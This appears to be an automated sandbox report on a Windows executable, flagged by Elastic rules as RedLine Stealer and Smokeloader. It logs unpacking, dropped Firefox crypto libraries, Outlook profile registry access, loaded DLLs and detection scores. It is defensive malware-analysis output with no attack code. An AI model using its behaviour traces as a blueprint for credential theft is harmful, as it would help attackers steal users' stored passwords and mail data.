Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD0B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CD0B8C0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CD0B910
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CCAF280

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCA35A0	0_2_6CCA35A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCB64C0	0_2_6CCB64C0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCCD4D0	0_2_6CCCD4D0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCAD4E0	0_2_6CCAD4E0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE6CF0	0_2_6CCE6CF0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCB6C80	0_2_6CCB6C80
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD034A0	0_2_6CD034A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD0C4A0	0_2_6CD0C4A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCB5440	0_2_6CCB5440
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD1545C	0_2_6CD1545C
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD1AC00	0_2_6CD1AC00
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE5C10	0_2_6CCE5C10
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCF2C10	0_2_6CCF2C10
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD1542B	0_2_6CD1542B
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE0DD0	0_2_6CCE0DD0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD085F0	0_2_6CD085F0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCBFD00	0_2_6CCBFD00
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCCED10	0_2_6CCCED10
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCD0512	0_2_6CCD0512
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD176E3	0_2_6CD176E3
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCABEF0	0_2_6CCABEF0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCBFEF0	0_2_6CCBFEF0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD0E680	0_2_6CD0E680
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCC5E90	0_2_6CCC5E90
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD04EA0	0_2_6CD04EA0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCF2E4E	0_2_6CCF2E4E
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCC4640	0_2_6CCC4640
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCC9E50	0_2_6CCC9E50
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE3E50	0_2_6CCE3E50
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD16E63	0_2_6CD16E63
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCAC670	0_2_6CCAC670
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCF5600	0_2_6CCF5600
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE7E10	0_2_6CCE7E10
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD09E30	0_2_6CD09E30
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCADFE0	0_2_6CCADFE0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCD6FF0	0_2_6CCD6FF0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCF77A0	0_2_6CCF77A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCB9F00	0_2_6CCB9F00
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE7710	0_2_6CCE7710
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD150C7	0_2_6CD150C7
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCCC0E0	0_2_6CCCC0E0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE58E0	0_2_6CCE58E0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCD60A0	0_2_6CCD60A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCC8850	0_2_6CCC8850
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCCD850	0_2_6CCCD850
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCEF070	0_2_6CCEF070
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCB7810	0_2_6CCB7810
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCEB820	0_2_6CCEB820
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCF4820	0_2_6CCF4820
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD02990	0_2_6CD02990
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE5190	0_2_6CCE5190
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCAC9A0	0_2_6CCAC9A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCDD9B0	0_2_6CCDD9B0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCCA940	0_2_6CCCA940
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD1B170	0_2_6CD1B170
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCBD960	0_2_6CCBD960
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCFB970	0_2_6CCFB970
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE8AC0	0_2_6CCE8AC0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCC1AF0	0_2_6CCC1AF0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCEE2F0	0_2_6CCEE2F0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD1BA90	0_2_6CD1BA90
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD12AB0	0_2_6CD12AB0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCA22A0	0_2_6CCA22A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCD4AA0	0_2_6CCD4AA0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCBCAB0	0_2_6CCBCAB0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCE9A60	0_2_6CCE9A60
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD153C8	0_2_6CD153C8
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCAF380	0_2_6CCAF380
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCA5340	0_2_6CCA5340
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCBC370	0_2_6CCBC370
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCED320	0_2_6CCED320
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CDCECD0	0_2_6CDCECD0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD6ECC0	0_2_6CD6ECC0

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: String function: 6CCE94D0 appears 90 times
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: String function: 6CCDCBE8 appears 134 times

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 2176

Source: 4JgB4mYxvJ.exe, 00000000.00000000.2000210678.0000000004023000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs 4JgB4mYxvJ.exe
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 4JgB4mYxvJ.exe
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 4JgB4mYxvJ.exe
Source: 4JgB4mYxvJ.exe	Binary or memory string: OriginalFilenameFires( vs 4JgB4mYxvJ.exe

Source: 4JgB4mYxvJ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2391505695.00000000042AC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/39@0/1

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_6CD07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CD07030

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3808

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\321e79db-69a2-4ca9-8834-48f3edb98ed5

Jump to behavior

Source: 4JgB4mYxvJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 4JgB4mYxvJ.exe, 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2045902789.0000000004330000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000003.2062675680.000000002485E000.00000004.00000020.00020000.00000000.sdmp, AKFIDHDGIEGCAKFIIJKF.0.dr, HIJEGDBGDBFIJKECBAKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2415413573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 4JgB4mYxvJ.exe	ReversingLabs: Detection: 44%
Source: 4JgB4mYxvJ.exe	Virustotal: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\4JgB4mYxvJ.exe "C:\Users\user\Desktop\4JgB4mYxvJ.exe"
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 2176

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 4JgB4mYxvJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: 4JgB4mYxvJ.exe, 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: ,p2C:\kejanabisujum_72 wipisi\tusefinucibi_78\sohul80\yexapekuso.pdb source: 4JgB4mYxvJ.exe
Source:	Binary string: C:\kejanabisujum_72 wipisi\tusefinucibi_78\sohul80\yexapekuso.pdb source: 4JgB4mYxvJ.exe
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 4JgB4mYxvJ.exe, 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 4JgB4mYxvJ.exe, 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Unpacked PE file: 0.2.4JgB4mYxvJ.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Unpacked PE file: 0.2.4JgB4mYxvJ.exe.400000.0.unpack

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00416240

Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_004176C5 push ecx; ret		0_2_004176D8
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCDB536 push ecx; ret		0_2_6CCDB549

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
